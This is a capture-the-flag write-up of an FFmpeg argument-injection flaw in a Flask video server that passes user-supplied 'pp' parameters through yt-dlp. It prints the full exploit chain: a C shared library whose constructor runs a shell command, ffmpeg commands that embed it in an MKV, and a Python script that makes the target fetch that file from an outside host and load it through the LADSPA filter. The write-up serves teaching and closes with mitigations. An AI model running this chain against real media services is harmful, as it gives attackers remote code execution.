DHM TV
TL;DR
- Challenge setup: Python Flask server using yt-dlp with FFmpeg to serve a
DuRöhrevideo. - Key discovery: Repeated
ppquery parameters reach FFmpeg as unchecked options. - Exploitation: Extract an attached shared library from an
MKV, then load it through FFmpeg'sLADSPAfilter. - Result: The library runs
/readflagand writes the flag into the public static directory.
1. Introduction
The challenge presents a retro television page that plays a fixed DuRöhre video called Kuchenblech.
The DuRöhre domain itself is out of scope.
We get the Flask application and its Docker setup, so the interesting part might be about how the server downloads and converts that video.

2. Reconnaissance
The page's tv.js requests the video from /play.
In app.py, that route requires a DuRöhre watch URL with an eleven-character video ID and accepts a three- or four-character lowercase alphanumeric f value to specify the format.
It serves ./vids/<id>.<format> if that file is cached.
Otherwise, it calls yt-dlp to download and process the video.
The server passes a given list of pp query parameters straight into yt-dlp for post-processing:
'postprocessors': [{
'key': 'FFmpegVideoConvertor',
'preferedformat': vid_format,
}],
'postprocessor_args': args,
Only root can read /flag.txt.
The Docker image provides a setuid-root /readflag helper, so our goal is to execute that helper in the container and capture its output.
The fixed video is already MP4, so the default f=mp4 makes yt-dlp skip FFmpeg and the injected pp values never reach it.
FFmpeg is one of the most popular tools to record, convert, stream and manipulate audio and video files.
We could for example use f=mp3 to force conversion and thus execution of FFmpeg.
3. Vulnerability Description
The application never validates the pp values as FFmpeg options.
In yt-dlp 2025.04.30, postprocessor_args are inserted immediately before the converter's output filename and the resulting argument list is passed to FFmpeg.
This FFmpeg argument injection lets an attacker add another input with -i or an audio filter with -af.
For f=mp3, the application names the downloaded MP4 <id>.mp3.
The highlighted [pp values] placeholder shows where the repeated pp parameters enter the command:
ffmpeg -y -loglevel repeat+info -i file:./vids/<id>.mp3 -map 0 -dn -ignore_unknown -movflags +faststart [pp values] file:./vids/<id>.mp3.mp3
4. Exploitation
To turn the injected arguments into code execution, we use FFmpeg's LADSPA audio filter.
During the competition a teammate found GTFOBins PR #482.
With this trick we can leverage -af ladspa=file=/tmp/exploit.so to make FFmpeg load a shared library.
LADSPA is an audio plugin interface.
The filter's file option names the library to load.
FFmpeg 6.1.2 calls dlopen() on that path before checking for a ladspa_descriptor function.
We can exploit this as a C constructor runs during dlopen(), so the library does not need to be a valid LADSPA plugin.
First, we need to get the library onto the server.
The application has no upload route, and its checked url parameter cannot point to our own server.
An injected -i gives FFmpeg a second, unchecked URL.
Martin Wagner's Jellyfin slides show how to use a Matroska (MKV) attachment for a file write:
FFmpeg can attach a file to the video and extract it to a chosen path.
The -dump_attachment:t /tmp/exploit.so option applies to the next -i input and writes its attachment to the writable /tmp directory.
:t then selects attachment streams.
We compile this library as a Linux shared object for the target's architecture with gcc -shared -fPIC -o exploit.so exploit.c:
#include <stdlib.h>
__attribute__((constructor)) static void setup(void) {
system("/readflag > /app/static/flag.txt");
exit(0);
}
The constructor runs as the web application's user.
The setuid bit lets /readflag read /flag.txt as root.
The application user owns /app/static, so the shell can redirect the helper's output to /app/static/flag.txt, which Flask serves publicly.
Next, we need an MKV containing the library.
Any short MP3 works as its audio track.
These commands generate one and attach exploit.so:
ffmpeg -f lavfi -i 'sine=frequency=440:duration=1' -c:a libmp3lame test.mp3
ffmpeg -i test.mp3 -map 0:a -c:a copy -attach exploit.so -metadata:s:t mimetype=application/octet-stream payload.mkv
The target's FFmpeg process must be able to fetch payload.mkv.
For a local setup, we can serve it with python3 -m http.server 3000 and use a host address reachable from the container.
During the competition I used Tailscale Funnel to give the remote container a public HTTPS URL.
Once payload.mkv is reachable, the first /play request extracts its attached library to /tmp/exploit.so.
The second loads that library through LADSPA.
The script uses a fresh eleven-character video ID to avoid a cached response and sends each FFmpeg argument as a separate pp parameter:
#!/usr/bin/env python3
import secrets
import sys
import requests
if len(sys.argv) != 3:
raise SystemExit("Usage: python3 exploit.py BASE_URL PAYLOAD_MKV_URL")
base, payload_url = sys.argv[1].rstrip("/"), sys.argv[2]
video_id = secrets.token_urlsafe(8) # Eleven URL-safe characters.
video_url = f"https://duröh.re/watch?v={video_id}"
def play(*options):
params = [("url", video_url), ("f", "mp3")]
params += [("pp", option) for option in options]
response = requests.get(f"{base}/play", params=params, timeout=65)
print(f"/play: HTTP {response.status_code}")
play(
f"file:./vids/{video_id}.mp3.mp3",
"-dump_attachment:t", "/tmp/exploit.so",
"-i", payload_url,
)
play("-af", "ladspa=file=/tmp/exploit.so")
response = requests.get(f"{base}/static/flag.txt", timeout=10)
response.raise_for_status()
print(response.text.strip())
The first pp value, file:./vids/<id>.mp3.mp3, is an output filename for the preceding -movflags +faststart option.
That lets the following -dump_attachment:t and -i work on our hosted MKV as a new input.
You can run this script with python3 exploit.py BASE_URL PAYLOAD_MKV_URL, using a payload URL reachable from the target container.
Both /play requests return 500 Download failed in this setup, even though their side effects succeed.
After conversion, yt-dlp deletes the downloaded <id>.mp3 and leaves <id>.mp3.mp3, but Flask looks for <id>.mp3.
That cache miss lets the second request use the same ID and write the flag.
The final request reads the flag through /static/flag.txt.
5. Mitigation
The server should keep conversion arguments under its own control instead of passing client-supplied pp values into postprocessor_args.
FFmpeg should also run without write access to the web-served static directory.
6. Flag
DHM{ffmpeg_considered_duenn_wie_Kuchenblech?!}